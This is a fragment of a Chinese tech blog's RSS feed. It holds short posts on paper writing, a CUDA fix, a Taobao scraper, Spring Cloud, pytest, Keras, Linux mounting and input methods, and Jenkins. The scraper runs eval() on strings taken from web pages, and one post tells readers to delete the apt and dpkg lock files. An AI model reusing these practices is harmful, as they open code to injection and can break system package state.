      <description>写在前面的话 自己的经历 从大一开始，接触深度学习这一块也已经三年了。从当初懵懂无知的小白，终于变成了现在的调参小能手（实力自嘲）。整个学习过程其实挺艰辛的，具体的过程就不在这篇博客中说了（之后会有具体的总结）。但其实就我自己而言，如果说在这方面知识点突增的机会的话，现在想一想竟然都是和论文有关：&#xA;第一次读论文是在大一的时候，当时是打算做一个学校建筑物识别的微信小程序（自我感觉挺不错的，拍照识别，3D建模返回信息）。然后就在相关经验0的情况下找到了一篇相关的论文建筑物图像识别研究（别问我为啥不是知网，当时根本不知道这东西），然后就一直跟着这上面做笔记，如图所示。&#xA;也是从这个契机，才算打开了数字图像处理的大门（各种图像原理，形态变换。更巧的是现在大三又开了一门《数字图像处理》的课程，上过了之后，才发现自己还是太天真。所以在边学习的时候，也在更新相关的学习知识点。可见博客Hanzoe带你学数字图像处理-第一章）。当然这里面涉及的还是比较片面的部分知识，为了更加了解这方面的知识。便趁着实验室免费购书的机会，白嫖了一本《OpenCV算法精讲》。然后就开始恶补（上课看，通宵看，疯狂做笔记）。当然也是各种算法推导，代码复现。&#xA;现在回想起来那段时光还是充满慢慢的幸福感，就很充实。在琢磨了一遍之后，又恰好在实验室的技术小组中轮到本人做技术分享，还无疑问的我重讲了一遍OpenCV，记得足足讲了两个多小时（67页PPT)，自认为满满的干货，毕竟这种技术分享最大的受益者其实还是分享者，相当于巩固了一遍知识。毕竟学习不能只有输入，还必须输出。但是琢磨了一遍之后，才发现貌似有点偏离比赛了，关于神经网络的知识倒是全给忘记了。不过幸好还学过一些Tensorflow的知识（入门必备-猫狗识别），在这个基础上添添改改，还算顺利的拿到了一个二等奖。&#xA;2. 第二次开始接触。是最近在做的2020国家级大创关于药草识别的一个APP。我主要负责的就是图像识别模块，当时毕竟也已经大二、大三了。轮子该怎么用还是懂的，所以没啥困难的就做出来了（现在想想这就是调参侠吧）。本来以为这样就可以结项了，突然老师说还要准备一篇论文。原谅初出茅庐的我还没对论文有啥概念，于是赶了几天出炉论文v1（当时大概是3月多）。后面老师就又找到我说：你这毫无创新啊？投不了的。于是我又不得不去研究了一下，并且在老师的帮助下，开始大量阅读论文（58篇），同时开始参加我们学校的研究生例会，学长学姐们也给了我很多帮助。然后提出了针对知识蒸馏方面的一些想法（也算是小改进吧）。不得不说，通过这次之后感觉算是弄明白自己到底该怎么学习（之前完全就是摸黑前行吧）。&#xA;为什么从论文开始？ 也是从以上两个认为比较重要的经历吧，同时根据在多次参加研究生例会的经验（我们学校大概就是研一开始大量阅读论文并且开始提出自己的一些想法，研二开始选择一方面写一篇小论文，研三大概就是毕业论文了）以及老师的一些看法：在顶级学校的某些专业（比如人工智能），都是大一开始接触论文了（想想自己也是运气好，勉强算看了一篇），大二大三可以试着发出一些论文。&#xA;所以在经过了这一系列的见闻后，在大三也就是最近我开始在我们实验室的技术小组尝试一些改革（毕竟算是一个技术组长），让大一大二新生们早一些接触论文，为未来打下基础（深度学习这方面，说实话不考研不太行），如果现在开始有了一定的论文阅读量，研一的时候就可以无缝衔接甚至超过很多同阶段的同学。&#xA;话又说回来，在我自己开始动手写第一篇论文的过程中，其实也远不止这么简单。反反复复十几个小版本，三次大的框架整改。改到最后才回归到问题本质（这也是后面会说的）。最后才体会到另一位老师的话：写论文并不是强制去写什么创新、强制去发现什么。恰恰相反，是你发现了有这么一个问题，你觉得可以尝试以下解决，所以有了这篇论文。按我的话来解释就是：不是为了论文而勉强论文，而是因为存在问题，想去解决问题，才有的论文。（就我自己平常看看的网上相关新闻时事以及自己阅读的一些论文，感觉这方面却很少有人做到），再用恋词朱伟老师的话更通俗的来说就是：少一些物质的追求，多一些无所谓的热爱！&#xA;以上的一些描述可能就是原因吧，可能写的重点不突出，但是想说的都已经在里面了。&#xA;总之，开了这个专题的博客的原因就是想让还没有写过论文但是想去尝试的同学有一个借鉴，我会大概叙说一些比较重要的步骤。如果是已经投过的大佬们，就请当一个饭后闲谈。&#xA;再说以下我自己的情况吧：&#xA;一作：论文普刊一篇，准备投稿一篇（目前老师在帮忙精修，打算投英文期刊，目标SCI/EI吧），已投一篇（EI会议，其实也挺水的，不过在6月有机会做一次口头报告，算是涨经验、增加阅历了吧），准备再写一篇（还得看情况，毕竟还要面临考研现状，都已经5月了，还没结束一轮）二作：一篇（EI会议） 结束语 以上，就是一些自己的闲谈。仁者见仁智者见智，有错误的地方欢迎大家指出来。如果有赞同、反对的意见，也欢迎在评论区留下您的足迹。本人不怕被打击，只希望能和大家共同进步，希望大家能在这个专题中学到东西。最后补上一句很喜欢的话：Life is just like a game of chess.Notwithstanding an unimpressive pwan moving at a snail pace,who ever withseen my retreat a bit.（人生如棋，我愿为卒。行动虽缓，谁曾见我退却一步（我走的很慢，但却从不回头））&#xA;PS 由于平常还需要准备考研以及还有其他的几个专题也在更新，所以可能会写的很慢，望谅解。</description>
    </item>
    <item>
      <title>解决Could not load dynamic library ‘libcudart.so.11.0‘； dlerror: libcudart.so.11.0妙招</title>
      <link>https://bchobby.github.io/posts/be9538416b91a974f6b1c8371c1d950d/</link>
      <pubDate>Tue, 11 May 2021 17:12:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be9538416b91a974f6b1c8371c1d950d/</guid>
      <description>一、问题 最近学习AI，需要在Ubuntu下安装TensorFlow。结果TensorFlow装好后，import TensorFlow时报错：&#xA;Could not load dynamic library &#39;libcudart.so.11.0&#39;; dlerror: libcudart.so.11.0: cannot open shared object file: No such file or directory&#xA;二、网上已有的办法尝试 网上目前已有的解决方法是在命令行中安装cuda。例如&#xA;https://blog.csdn.net/qq_28193019/article/details/103146116 https://blog.csdn.net/qq_26018075/article/details/111546689 上面两篇文章的思路相同，一个是装10.0版本，一个是装11.0版本。&#xA;但是我尝试了上面的方法后，却行不通。可能是镜像配置有问题吧，速度很慢。因此需要使用下面的离线下载方法。&#xA;三、使用离线下载办法 打开cuda的官网下载网址：https://developer.nvidia.com/zh-cn/cuda-downloads 依次选择Linux-&amp;gt;x86_64-&amp;gt;20.04-&amp;gt;deb(local) 走到这里，如果执行官方推荐的命令，可能还是会失败。因此有一个小技巧：在windows中利用迅雷下载，下载这两个文件（尤其是第二个2.4G的大文件）。复制链接，在迅雷中点新建下载任务，下载窗口自动弹出来，点立即下载。&#xA;网速快的话几分钟就下载好了。然后利用Xshell工具自带的Xftp，把下载好的文件传到ubuntu（这个步骤很容易，后面有机会再写个文章吧）。&#xA;四、安装cuda 其实就是cuda官网的安装方法执行一遍就好了（去掉下载的两个命令）。&#xA;sudo mv cuda-ubuntu2004.pin /etc/apt/preferences.d/cuda-repository-pin-600 sudo dpkg -i cuda-repo-ubuntu2004-11-1-local_11.1.0-455.23.05-1_amd64.deb sudo apt-key add /var/cuda-repo-ubuntu2004-11-1-local/7fa2af80.pub sudo apt-get update sudo apt-get -y install cuda 五、测试 python&#xA;import tensorflow&#xA;如果看到上面的提示，恭喜，问题解决！</description>
    </item>
    <item>
      <title>Python爬虫之淘宝数据爬取（商品名称，价格，图片，销量）</title>
      <link>https://bchobby.github.io/posts/a78281983e381b9977d913759052f913/</link>
      <pubDate>Tue, 11 May 2021 16:38:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a78281983e381b9977d913759052f913/</guid>
      <description>代码详细注释，仅供交流与参考，不作商业用途&#xA;代码参考北京理工大学嵩天老师&#xA;import requests #导入第三方库 import re import os def getHTMLText(url): try: r = requests.get(url, timeout = 30) #timeout超时响应参数，这里是30秒 r.raise_for_status() #判断是否异常，200为正常 r.encoding = r.apparent_encoding #编码方式 return r.text #返回内容 except: return &#34;&#34; def parsePage(ilt, html): try: plt = re.findall(r&#39;\&#34;view_price\&#34;\:\&#34;[\d\.]*\&#34;&#39;, html) tlt = re.findall(r&#39;\&#34;raw_title\&#34;\:\&#34;.*?\&#34;&#39;, html) #*？前一个字符0次获无限次扩展，这里是.(任何单个字符)无限扩展，知道 “ 结束 img = re.findall(r&#39;\&#34;pic_url\&#34;\:\&#34;.*?\&#34;&#39;, html) sal = re.findall(r&#39;\&#34;view_sales\&#34;\:\&#34;.*?\&#34;&#39;, html) for i in range(len(plt)): price = eval(plt[i].split(&#34;:&#34;)[1]) #使用.split以 : 为界限分割，[1]取分割后的第二部分， eval函数去掉双引号 title = eval(tlt[i].split(&#34;:&#34;)[1]) image = eval(img[i].</description>
    </item>
    <item>
      <title>对spring cloud的个人理解</title>
      <link>https://bchobby.github.io/posts/b31c1fc450e43cc2c7db02fb79b2e7c5/</link>
      <pubDate>Tue, 11 May 2021 14:59:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b31c1fc450e43cc2c7db02fb79b2e7c5/</guid>
      <description>1：对springcloud理解？ Spring cloud是一个基于Spring Boot实现的服务治理工具包，用于微服务架构中管理和协调各个服务的。&#xA;spring cloud 是一系列框架的有序集合。它利用 spring boot 的开发便利性巧妙地简化了分布式系统基础设施的开发，如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等，都可以用 spring boot 的开发风格做到一键启动和部署。&#xA;2：为什么要使用springcloud？ spring开发配置太复杂。springboot简化了spring项目开发。而springboot虽然开发服务容易，服务管理却不好整，所以出来了cloud来管理服务；&#xA;1：单体项目的缺点&#xA;①编译难，部署难，测试难&#xA;②技术选择难&#xA;③扩展难&#xA;使用微服务架构就可以解决单体项目缺点。&#xA;2：微服务的优点&#xA;1复杂度可控-每一个微服务专注于单一功能，并通过定义良好的接口清晰表述服务边界。由于体积小、复杂度低，每个微服务可由一个小规模开发团队完全掌控，易于保持高可维护性和开发效率&#xA;2独立部署-微服务具备独立的运行进程，所以可以独立部署&#xA;3技术选型灵活-每个团队可以根据自身服务的需求和行业发展的现状，自由选择最适合的技术栈，甚至重构微服务&#xA;4容错-在微服务架构下，故障会被隔离在单个服务中&#xA;5扩展- 每个服务可以根据实际需求独立进行扩展&#xA;微服务架构。随着系统业务量的不断增多，单一的一套系统可能无法对应高并发，且系统变得越来越臃肿，后期难以维护。这种情况下会采用微服务架构设计，为了让单一模块变得更加清晰容易维护，且使某个模块儿的负载能力变得更加强大，添加集群也更为方便。&#xA;3：对springcloud各组件的理解 Springcloud大概有接近二十个组件，常用的有服务发现注册Eureka 、配置中心config、服务网关Zuul 、负载均衡Ribbon (feign包含了他)、断路器Hystrix (feign包含了他)&#xA;由于是微服务架构，由多个单体项目组成，就会有各自的通信地址，所以我们用服务发现注册Eureka来管理通信地址，配置中心config来管理配置文件并放到gitee上去保存，服务发现注册包含了服务端EurekaServer和客户端EurekaClient，(可以讲心跳机制)，微服务EurekaServer在启动时会将通信地址发给注册中心EurekaClient，形成通信列表，也就是服务注册；微服务从注册中心获取一份微服务通信地址，自己向别的微服务通过通信地址找到的该微服务通信地址基于HTTP发起请求叫做服务发现；&#xA;当有多个微服务时，根据业务需求可能会有多个服务者，也就是功能一样的两个模块。需要对他们发起的请求进行处理，所以我们需要负债均衡负载均衡Ribbon，通过负载均衡来控制请求的分发，负载均衡常用算法有轮询(公平，两个都一样),随机,加权轮询(哪个厉害点就多给点，能者多劳)。&#xA;但是一个服务出现延迟时，所有的请求都阻塞在依赖的服务，高并发的依赖失败时如果没有隔离措施，当前应用服务就有被拖垮的风险也就是雪崩，所以我们需要用到断路器Hystrix，将出现问题的服务通过熔断、降级等手段隔离开来，这样不影响整个系统的主业务，所以维护起来更方便。具体方式有：资源隔离（线程池隔离和信号量隔离），熔断（熔断，半熔断，闭合），降级（服务熔断后返回一个预先设定好的托底数据）；&#xA;当服务都能正常运行时，我们不能让所有都来访问，要有一个保安来拦截不该进来的请求，比如爬虫和其余不合法的请求，所以我们用到了服务网关Zuul，zuul还能自定义过滤器，比如自定义一个accesstoken，不带accesstoken的不让访问。有效的保证了服务的安全性。</description>
    </item>
    <item>
      <title>Pytest测试框架（八）指定用例的运行顺序</title>
      <link>https://bchobby.github.io/posts/0ccd585c427364b101d6cea44b8abdd8/</link>
      <pubDate>Tue, 11 May 2021 14:10:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ccd585c427364b101d6cea44b8abdd8/</guid>
      <description>pytest用例执行顺序 pytest默认按字母顺序去执行的（小写英文—&amp;gt;大写英文—&amp;gt;0-9数字）用例之间的顺序是文件之间按照ASCLL码排序，文件内的用例按照从上往下执行。setup_module-&amp;gt;setup_claas-&amp;gt;setup_function-&amp;gt;testcase-&amp;gt;teardown_function-&amp;gt;teardown_claas-&amp;gt;teardown_module可以通过第三方插件pytest-ordering实现自定义用例执行顺序 pytest-ordering—指定用例的运行顺序 pytest默认是按照字母来执行执行顺序，由于多接口之间存在值引用的关系，此时就需要执行case的执行顺序。&#xA;pytest控制case执行顺序的插件是pytest-ordering，直接用pip安装。&#xA;1.安装依赖包&#xA;pip install pytest-ordering 2.pytest-ordering的使用&#xA;通过装饰器的方法来控制case的执行顺序&#xA;1.方式一：&#xA;- 第一个执行：&#x9;@ pytest.mark.run(&#39;first&#39;) - 第二个执行：&#x9;@ pytest.mark.run(&#39;second&#39;) - 倒数第二个执行：&#x9;@ pytest.mark.run(&#39;second_to_last&#39;) - 最后一个执行：&#x9;@ pytest.mark.run(&#39;last&#39;) 2.方式二：&#xA;- 第一个执行：&#x9;@ pytest.mark.first - 第二个执行：&#x9;@ pytest.mark.second - 倒数第二个执行：&#x9;@ pytest.mark.second_to_last - 第四个执行：&#x9;@pytest.mark.last 3.方式三：&#xA;第一个执行：&#x9;@ pytest.mark.run(order=1) 第二个执行：&#x9;@ pytest.mark.run(order=2) 倒数第二个执行：&#x9;@ pytest.mark.run(order=-2) 最后一个执行：&#x9;@ pytest.mark.run(order=-1) 执行优先级：&#xA;0&amp;gt;较小的正数&amp;gt;较大的正数&amp;gt;无标记&amp;gt;较小的负数&amp;gt;较大的负数&#xA;导入 pytest @ pytest.mark.run （order = -2 ） def&#x9;test_three （）： assert True @ pytest.</description>
    </item>
    <item>
      <title>全局统一异常处理器</title>
      <link>https://bchobby.github.io/posts/9e3bd12cc73d326802f07ed295ded64b/</link>
      <pubDate>Tue, 11 May 2021 11:44:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e3bd12cc73d326802f07ed295ded64b/</guid>
      <description>软件开发springboot项目过程中，不可避免的需要处理各种异常,spring mvc 架构中各层会出现大量的try {...} catch {...} finally {...}代码块，不仅有大量的冗余代码，而且还影响代码的可读性。这样就需要定义个全局统一异常处理器，以便业务层再也不必处理异常。&#xA;实现：&#xA;目录&#xA;1、封装统一返回结果类&#xA;2、自定义异常封装类&#xA;3、错误枚举&#xA;4、全局异常处理类&#xA;5、测试&#xA;1、封装统一返回结果类 import com.jiusen.exercise.enums.ErrorEnum; import com.jiusen.exercise.exception.BusinessException; import lombok.Getter; import lombok.Setter; /** * @author: Lawson * @date: 2021/5/11 * @description: TODO 统一的返回结果 */ @Getter @Setter public class AjaxResult { //是否成功 private Boolean success; //状态码 private Integer code; //提示信息 private String msg; //数据 private Object data; public AjaxResult() { } //自定义返回结果的构造方法 public AjaxResult(Boolean success, Integer code, String msg, Object data) { this.</description>
    </item>
    <item>
      <title>linux访问windows网盘,如何在Linux下访问Windows共享文件夹？</title>
      <link>https://bchobby.github.io/posts/6c702acccf0c3c91596527a17cf09b4f/</link>
      <pubDate>Tue, 11 May 2021 11:43:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c702acccf0c3c91596527a17cf09b4f/</guid>
      <description>Windows共享文件夹&#xA;如果局域网中有Windows主机，请将指定的文件夹设置为共享文件夹，则可以在局域网中访问它。&#xA;如果要从Linux访问该怎么办?&#xA;使用mount.cifs&#xA;Windows共享文件夹使用的协议是SMB / CIFS。 因此，您可以在Linux下使用smbclient在命令行上进行操作。&#xA;如果要在图形桌面环境中更方便地使用它，可以使用mount.cifs命令将共享文件夹安装到指定位置，然后可以像访问本地文件夹一样访问它。&#xA;首先安装依赖包&#xA;使用mount.cifs需要cifs-utils软件包(以及cifs-utils依赖的软件包)。&#xA;$ sudo apt install cifs-utils&#xA;(插入一句话：现在apt安装可以直接使用apt代替apt-get)&#xA;挂载共享文件夹&#xA;可以使用以下两个命令(效果相同)&#xA;sudo mount.cifs //[address]/[folder] [mount point] -o user=[username],passwd=[pw]&#xA;或者&#xA;sudo mount -t cifs //[address]/[folder] [mount point] -o user=[username],passwd=[pw]&#xA;共享文件夹的地址是Windows主机的地址加上文件夹名称，可以在Windows主机上看到。 例如//192.168.0.100/share&#xA;挂载点是Linux上的空文件夹。&#xA;以下选项指定用户名和密码。&#xA;文件操作&#xA;成功挂载后，您可以通过图形文件管理器直接对其进行操作。 复制，粘贴，删除等&#xA;但是，但是。。。您很快就会发现此文件夹可读且不可写! 您只能复制到外部，不能创建新文件或复制到内部。&#xA;检查文件夹属性后，您会发现在安装原始文件夹之后，所有者成为根用户。 怎么做? 每次需要sudo时都不能复制文件吗? 然后，您必须打开命令行，这既不直观也不麻烦。&#xA;不用担心，mount.cifs还提供了一个选项，即在安装后指定所有者! 用法如下：&#xA;sudo mount.cifs //[address]/[folder] [mount point] -o user=[username],passwd=[pw],uid=[UID]&#xA;在选项中指定用户的UID就可以了。&#xA;查看某个用户UID的方法：&#xA;id -u [username]&#xA;之后就可以正常操作了!&#xA;卸载&#xA;最后如果要卸载共享文件夹，使用umount即可&#xA;sudo umount [mount point]</description>
    </item>
    <item>
      <title>字、字节、位、字长的区别与关系</title>
      <link>https://bchobby.github.io/posts/28cbe87aa30ddab040c930bfd41e4db4/</link>
      <pubDate>Mon, 10 May 2021 23:22:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28cbe87aa30ddab040c930bfd41e4db4/</guid>
      <description>字、字节、位、字长的区别与关系 一.数据存储单位1、位(bit)2、字节(byte)3、字 二、字符与字节对应关系三、字长 一.数据存储单位 字 &amp;gt; 字节 &amp;gt; 位1位=1比特&#xA;1字=2字节&#xA;1字节=8位&#xA;1字=16位&#xA;（备注：字就是指一个汉字，bit为Binary digit（二进制数）的英文单词缩写）&#xA;1、位(bit) 来自英文bit,音译为“比特”，表示二进制位。二进制数系统中，每个逻辑0或1就是一个位(bit)。位是计算机内部数据存储的最小单位，11010100 是一个8位二进制数。一个二进制位只可以表示0和1两种状态 ;两个二进制位可以表示00、01、10、11四种状态;三位二进制数可表示23种状态… 拓展内容：计算机中的CPU位数指的是CPU一次能处理的最大位数。例如32位计算机的CPU一次最多能处理32位数据。&#xA;2、字节(byte) 字节来自英文Byte，音译为“拜特”，习惯上用大写的“B”表示。字节是计算机中数据处理的基本单位。计算机中以字节为单位存储和解释信息，规定一个字节由八个二 进制位构成。&#xA;即1个字节等于8个比特(1 Byte=8bit)。八位二进制数最小为0000000,最大为11111111;通常1个字节可以存入一个ASCII码，2个字节可以存放一个汉字国标码。&#xA;*注：1个字节等于8个位只是惯例而已，C标准并没有定义这一点。&#xA;有些编译器并不遵守这个惯例，例如，在 Texas 的 C55x DSP 的平台上，1 个字节等于 16 个位。TB、GB、MB、KB、B均为字节单位。 3、字 计算机进行数据处理时，一次存取、加工和传送的数据长度称为字(word)。一个字通常由一个或多个(一般是字节的整数位)字节构成。例如286微机的字由2个字节组成，它的字长为16; 486 微机的字由4个字节组成，它的字长为32位机。计算机的字长决定了其CPU一次操作处理实际位数的多少，由此可见计算机的字长越大，其性能越优。通常称16位是一个字，而32位呢，则是一个双字，64位是两个双字。&#xA;————————————————&#xA;版权声明：本文为CSDN博主「阿泰s」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：link 二、字符与字节对应关系 常见的编码字符与字节的对应关系如下：&#xA;① ASCII码中，一个英文字母（不分大小写）占一个字节的空间，一个中文汉字占两个字节的空间。&#xA;一个二进制数字序列，在计算机中作为一个数字单元，一般为8位二进制数，换算为十进制。最小值0，最大值255。&#xA;② UTF-8编码中，一个英文字符等于一个字节，一个中文（含繁体）等于三个字节。&#xA;③ Unicode编码中，一个英文等于两个字节，一个中文（含繁体）等于两个字节。&#xA;符号：英文标点占一个字节，中文标点占两个字节。举例：英文句号“.”占1个字节的大小，中文句号“。”占2个字节的大小。&#xA;④ GBK编码方式是中文占两个字节，英文占1个字节。&#xA;三、字长 在同一时间中处理二进制数的位数叫字长。&#xA;通常称处理字长为8位数据的CPU叫8位CPU，32位CPU就是在同一时间内处理字长为32位（4字节）的二进制数据。二进制的每一个0或1是组成二进制的最小单位，称为位（bit）。常用的字长为8位、16位、32位和64位。字长为8位的编码称为字节，是计算机中的基本编码单位。&#xA;————————————————&#xA;版权声明：本文为CSDN博主「Sumjess」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：link</description>
    </item>
    <item>
      <title>Android.bp使用、与Android.mk的区别、对应关系、转换</title>
      <link>https://bchobby.github.io/posts/687079c8302177795130559503a55877/</link>
      <pubDate>Mon, 10 May 2021 21:24:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/687079c8302177795130559503a55877/</guid>
      <description>Android.bp与Android.mk的区别 通过Kati将Android.mk转换成ninja格式的文件，通过Blueprint+ Soong将Android.bp转换成ninja格式的文件，通过androidmk将将Android.mk转换成Android.bp，但针对没有分支、循环等流程控制的Android.mk才有效&#xA;ninja是一个编译框架，会根据相应的ninja格式的配置文件进行编译，但是ninja文件一般不会手动修改，而是通过将 Android.bp文件转换成ninja格文件来编译Android.bp是纯粹的配置，没有分支、循环等流程控制，不能做算数逻辑运算。如果需要控制逻辑，那么只能通过Go语言编写Soong类似于之前的Makefile编译系统的核心，负责提供Android.bp语义解析，并将之转换成Ninja文件。Soong还会编译生成一个androidmk命令，用于将Android.mk文件转换为Android.bp文件Blueprint是生成、解析Android.bp的工具，是Soong的一部分。Soong负责Android编译而设计的工具，而Blueprint只是解析文件格式，Soong解析内容的具体含义。Blueprint和Soong都是由Golang写的项目，从Android 7.0，prebuilts/go/目录下新增Golang所需的运行环境，在编译时使用kati是专为Android开发的一个基于Golang和C++的工具，主要功能是把Android中的Android.mk文件转换成Ninja文件。代码路径是build/kati/，编译后的产物是ckati Android.mk -&amp;gt; Android.bp Android.mk 转换为 Android.bp,Google提供了官方工具androidmk，只针对简单的mk文件转换，涉及分支，循环等控制转换并不准确&#xA;androidmk使用 ：androidmk android.mk &amp;gt; android.bp&#xA;Android.bp使用 java_library { name: &#34;services&#34;, dex_preopt: { app_image: true, profile: &#34;art-profile&#34;, }, srcs: [ &#34;java/**/*.java&#34;, ], static_libs: [ &#34;services.core&#34;, &#34;services.accessibility&#34;, &#34;services.appwidget&#34;, &#34;services.autofill&#34;, &#34;services.backup&#34;, &#34;services.companion&#34;, &#34;services.coverage&#34;, &#34;services.devicepolicy&#34;, &#34;services.midi&#34;, &#34;services.net&#34;, &#34;services.print&#34;, &#34;services.restrictions&#34;, &#34;services.usage&#34;, &#34;services.usb&#34;, &#34;services.voiceinteraction&#34;, &#34;android.hidl.base-V1.0-java&#34;, ], libs: [ &#34;android.hidl.manager-V1.0-java&#34;, &#34;miuisdk&#34;, &#34;miuisystemsdk&#34; ], } cc_library_shared { name: &#34;libandroid_servers&#34;, defaults: [&#34;libservices.core-libs&#34;], whole_static_libs: [&#34;libservices.core&#34;], } Android.bp与Android.mk的对应关系 Android.</description>
    </item>
    <item>
      <title>Connection refused: connect post 请求某个微服务遭到拒绝的问题</title>
      <link>https://bchobby.github.io/posts/2155887a8f2c027abc878056f066b93b/</link>
      <pubDate>Mon, 10 May 2021 21:17:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2155887a8f2c027abc878056f066b93b/</guid>
      <description>修改需要请求的微服务配置文件中的地址，改成0.0.0.0 方便从容器外部访问微服务，127.0.0.1只能本容器内部访问，所以造成Connection refused。</description>
    </item>
    <item>
      <title>Keras中的两种模型:Sequential和Model用法</title>
      <link>https://bchobby.github.io/posts/48e806163c92ca3fefdb6ad5622d2243/</link>
      <pubDate>Mon, 10 May 2021 21:03:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48e806163c92ca3fefdb6ad5622d2243/</guid>
      <description>Keras中的两种模型:Sequential和Model用法 前言一、序列模型 Sequential二、通用模型：Model函数式模型补充知识：keras神经网络，Sequential序贯模型（二分类、多分类）1.Sequential参数2.compile配置学习过程3.案例01 基于多层感知器Softmax多分类02 MLP的二分类 拓展阅读： 前言 本文转载自Keras中的两种模型&#xA;在Keras中有两种深度学习的模型：序列模型（Sequential）和通用模型（Model）。差异在于不同的拓扑结构。&#xA;一、序列模型 Sequential Sequential 是实现全连接网络的最好方式。&#xA;序列模型各层之间是依次顺序的线性关系。Sequential 模型是多个网络层的线性堆栈，可以从 keras 的模型库中导入 Sequential 模型：&#xA;模型结构可以通过一个列表来制定，代码如下：&#xA;from keras.models import Sequential from keras.layers import Dense, Activation layers = [Dense(32, input_shape = (784,)), Activation(&#39;relu&#39;), Dense(10), Activation(&#39;softmax&#39;)] model = Sequential(layers) 或者逐层添加网络结构，代码如下：&#xA;from keras.models import Sequential from keras.layers import Dense, Activation model = Sequential() model.add(Dense(32, input_shape = (784,))) model.add(Activation(&#39;relu&#39;)) model.add(Dense(10)) model.add(Activation(&#39;softmax&#39;)) 二、通用模型：Model函数式模型 通用模型可以设计非常复杂、任意拓扑结构的神经网络，例如有向无环网络、共享层网络等。相比于序列模型只能依次线性逐层添加，通用模型能够比较灵活地构造网络结构，设定各层级的关系。&#xA;*函数式模型接口是用户定义多输出模型、非循环有向模型或具有共享层的模型等复杂模型的途径。*换言之，只要你的模型不是类似 VGG 一条路走到黑的模型，或者你的模型需要多于一个的输出，那么你总应该选择函数式模型。函数式模型是最广泛的一类模型，序贯模型（Sequential）只是它的一种特殊情况。&#xA;————————————————&#xA;from keras.layers import Input, Dense from keras.</description>
    </item>
    <item>
      <title>IDEA 配置文件没有变成小绿叶</title>
      <link>https://bchobby.github.io/posts/e57735c77cbbb4cd206ab48fe4e3164c/</link>
      <pubDate>Mon, 10 May 2021 20:39:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e57735c77cbbb4cd206ab48fe4e3164c/</guid>
      <description>除了网友其他办法，还有一种就是，右边maven里面当前模块是灰色，点击上面加号，选中响应模块pom文件，添加一下也是一种解决办法。</description>
    </item>
    <item>
      <title>在linux系统下如何下载中文输入法,如何在linux系统下安装中文输入法</title>
      <link>https://bchobby.github.io/posts/a292ddbc2403e52d714f2df7a0848e0b/</link>
      <pubDate>Mon, 10 May 2021 13:40:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a292ddbc2403e52d714f2df7a0848e0b/</guid>
      <description>对于没有中文输入法的Linux系统中国使用者来说，没有中文输入法是十分痛苦的。我总结了一条比较方便使用的中文输入法的安装方法。&#xA;首先，无论是中文的还是英文的Linux系统，输入法基本都是内置的ibus输入法，如果你不想下载别的输入法，你可以就用ibus的中文输入法。&#xA;不管你的linux系统是中文的，还是英文的，你都可以进入System Settings--&amp;gt;Language Support查看一下已经安装的语言，如果没有中文语言，请安装中文语言：System Settings--&amp;gt;Language Support--&amp;gt;Install/Remove Languages。这个时候你可一安装ibus的中文输入法或者其他的中文输入法了，不过很有可能遇到Unable to lock directory /var/cache/apt/archives/这种问题，只需要在终端里面敲入两句话就可以解决：#:sudo&#xA;rm /var/cache/apt/archives/lock #:sudo rm /var/lib/dpkg/lock&#xA;这里推荐几种输入法：&#xA;1.IBus拼音：sudo apt-get install ibus-pinyin&#xA;2.SCIM：sudo apt-get install scim-chinese&#xA;3.谷歌拼音输入法：sudo apt-get install ibus-googlepinyin&#xA;4.Sun拼音输入法：sudo apt-get install ibus-sunpinyin&#xA;接下来只需要配置输入法就可以了：终端里面输入ibus-setup，输入法的配置界面就会弹出，IBus Preference设置被打开。我们在Input Method选项卡中，选择自己喜欢的输入方式，并配置自己喜欢的快捷键即可。&#xA;通常情况下，IBus图标(一个小键盘)会出现在桌面右上角的任务栏中。有时候这个图标会自行消失，可使用以下命令，找回消失的IBus图标：&#xA;ibus-daemon -drx</description>
    </item>
    <item>
      <title>jenkins自动化测试持续集成（环境&#43;软件安装）</title>
      <link>https://bchobby.github.io/posts/e5972b9a3c35de1e3b162884c6ac06a1/</link>
      <pubDate>Sun, 09 May 2021 18:11:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5972b9a3c35de1e3b162884c6ac06a1/</guid>
      <description>1.jenkins下载&#xA;镜像源&#xA;Index of /windows (jenkins-ci.org)&#xA;2.jdr环境下载：&#xA;1）镜像源资源下载&#xA;https://blog.csdn.net/qingliang4321/article/details/105001740&#xA;下载成功，要记住java的安装环境，比如我的是：&#xA;2）jre系统环境配置&#xA;· 进入环境变量设置：&#xA;--------------------分割线----------------------&#xA;A.添加用户变量&#xA;B.添加系统变量&#xA;C.添加Classpath&#xA;D.添加Path&#xA;------------------------------------------------------&#xA;A.添加用户变量，上半框，点击【新建】，变量名/变量值按照如下之指示输入，加变量名的目的是便于JAVA存放路径的更改&#xA;B.添加系统变量&#xA;C..........&#xA;3）check是否成功安装&#xA;C:\Users\Administrator&amp;gt;java //输入java命令查看是否安装成功， 控制台显示用法，说明安装成功 3. 继续控制台输入命令：&#xA;E:\&amp;gt;cd jenkins E:\jenkins&amp;gt;java -jar jenkins.war 5.因为jenkins的war包自带jetty服务器，所以启动成功后，直接打开浏览器操作即可。输入http://localhost:8080，点击回车，出现以下画面：&#xA;PS：第一次使用jenkins时，为了安全考虑，会生成一串字符口令！,进入对应的路径，按照控制台提示，打开本地路径查找密码，用文本文件打开，既可看到密码，打开该文件，将对应的字符复制进输入框内，点击继续按钮，等待安装成功。&#xA;C:\Users\Administrator\.jenkins\secrets&#xA;安装成功：&#xA;选择安装推荐的插件：&#xA;创建项目&#xA;git下输入git，root账号，复制HTTP 